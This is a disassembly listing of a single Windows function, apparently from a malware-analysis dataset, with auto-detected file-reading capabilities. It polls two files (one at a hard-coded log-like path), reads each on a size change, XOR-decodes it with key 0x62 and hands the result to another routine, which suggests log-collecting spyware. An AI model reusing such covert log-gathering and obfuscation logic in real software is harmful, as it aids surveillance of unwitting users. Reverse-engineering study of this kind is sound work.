Function at 0x1000f4ac
Capabilities:
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24c
mov dword [ebp - 0x24c], ecx
mov eax, 1
test eax, eax
je 0x1000f64e
mov dword [ebp - 4], 0
mov dword [ebp - 8], 0
mov dword [ebp - 0x114], 0
push 0x104
push 0
lea ecx, [ebp - 0x10c]
push ecx
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0x1008c1cc
lea edx, [ebp - 0x10c]
push edx
call sub.MSVCRT.dll_strcpy
add esp, 8
push 0
push 0x80
push 3
push 0
push 1
push SysReAllocString
lea eax, [ebp - 0x10c]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0x110], eax
cmp dword [ebp - 0x110], 0xffffffff
je 0x1000f632
push 0
mov ecx, dword [ebp - 0x110]
push ecx
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [ebp - 8], eax
mov edx, dword [ebp - 0x24c]
mov eax, dword [ebp - 8]
cmp eax, dword [edx + 0x114]
jne 0x1000f576
mov ecx, dword [ebp - 0x110]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 1
jmp 0x1000f809
mov edx, dword [ebp - 8]
push edx
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
add esp, 4
mov dword [ebp - 0x23c], eax
mov eax, dword [ebp - 0x23c]
mov dword [ebp - 0x118], eax
push 0
lea ecx, [ebp - 0x114]
push ecx
mov edx, dword [ebp - 8]
push edx
mov eax, dword [ebp - 0x118]
push eax
mov ecx, dword [ebp - 0x110]
push ecx
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov dword [ebp - 0x11c], 0
jmp 0x1000f5d0
mov edx, dword [ebp - 0x11c]
add edx, 1
mov dword [ebp - 0x11c], edx
mov eax, dword [ebp - 0x11c]
cmp eax, dword [ebp - 8]
jae 0x1000f5fc
mov ecx, dword [ebp - 0x118]
add ecx, dword [ebp - 0x11c]
mov dl, byte [ecx]
xor dl, 0x62
mov eax, dword [ebp - 0x118]
add eax, dword [ebp - 0x11c]
mov byte [eax], dl
jmp 0x1000f5c1
push 1
mov ecx, dword [ebp - 8]
push ecx
mov edx, dword [ebp - 0x118]
push edx
mov ecx, dword [ebp - 0x24c]
call fcn.1000f424
mov dword [ebp - 4], eax
mov eax, dword [ebp - 0x118]
mov dword [ebp - 0x240], eax
mov ecx, dword [ebp - 0x240]
push ecx
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
add esp, 4
mov edx, dword [ebp - 0x110]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x24c]
mov ecx, dword [ebp - 8]
mov dword [eax + 0x114], ecx
push 0x32
call dword [sym.imp.KERNEL32.dll_Sleep]
mov edx, 1
test edx, edx
je 0x1000f807
mov dword [ebp - 0x120], 0
mov dword [ebp - 0x124], 0
mov dword [ebp - 0x230], 0
push 0x104
push 0
lea eax, [ebp - 0x228]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
push str.c:Ntlogscnlog.dat
lea ecx, [ebp - 0x228]
push ecx
call sub.MSVCRT.dll_strcpy
add esp, 8
push 0
push 0x80
push 3
push 0
push 1
push SysReAllocString
lea edx, [ebp - 0x228]
push edx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0x22c], eax
cmp dword [ebp - 0x22c], 0xffffffff
je 0x1000f7e8
push 0
mov eax, dword [ebp - 0x22c]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [ebp - 0x124], eax
mov ecx, dword [ebp - 0x24c]
mov edx, dword [ebp - 0x124]
cmp edx, dword [ecx + 0x118]
jne 0x1000f71d
mov eax, dword [ebp - 0x22c]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 1
jmp 0x1000f809
mov ecx, dword [ebp - 0x124]
push ecx
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
add esp, 4
mov dword [ebp - 0x244], eax
mov edx, dword [ebp - 0x244]
mov dword [ebp - 0x234], edx
push 0
lea eax, [ebp - 0x230]
push eax
mov ecx, dword [ebp - 0x124]
push ecx
mov edx, dword [ebp - 0x234]
push edx
mov eax, dword [ebp - 0x22c]
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov dword [ebp - 0x238], 0
jmp 0x1000f77d
mov ecx, dword [ebp - 0x238]
add ecx, 1
mov dword [ebp - 0x238], ecx
mov edx, dword [ebp - 0x238]
cmp edx, dword [ebp - 0x124]
jae 0x1000f7ac
mov eax, dword [ebp - 0x234]
add eax, dword [ebp - 0x238]
mov cl, byte [eax]
xor cl, 0x62
mov edx, dword [ebp - 0x234]
add edx, dword [ebp - 0x238]
mov byte [edx], cl
jmp 0x1000f76e
push 2
mov eax, dword [ebp - 0x124]
push eax
mov ecx, dword [ebp - 0x234]
push ecx
mov ecx, dword [ebp - 0x24c]
call fcn.1000f424
mov dword [ebp - 0x120], eax
mov edx, dword [ebp - 0x234]
mov dword [ebp - 0x248], edx
mov eax, dword [ebp - 0x248]
push eax
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
add esp, 4
mov ecx, dword [ebp - 0x22c]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edx, dword [ebp - 0x24c]
mov eax, dword [ebp - 0x124]
mov dword [edx + 0x118], eax
xor eax, eax
mov esp, ebp
pop ebp
ret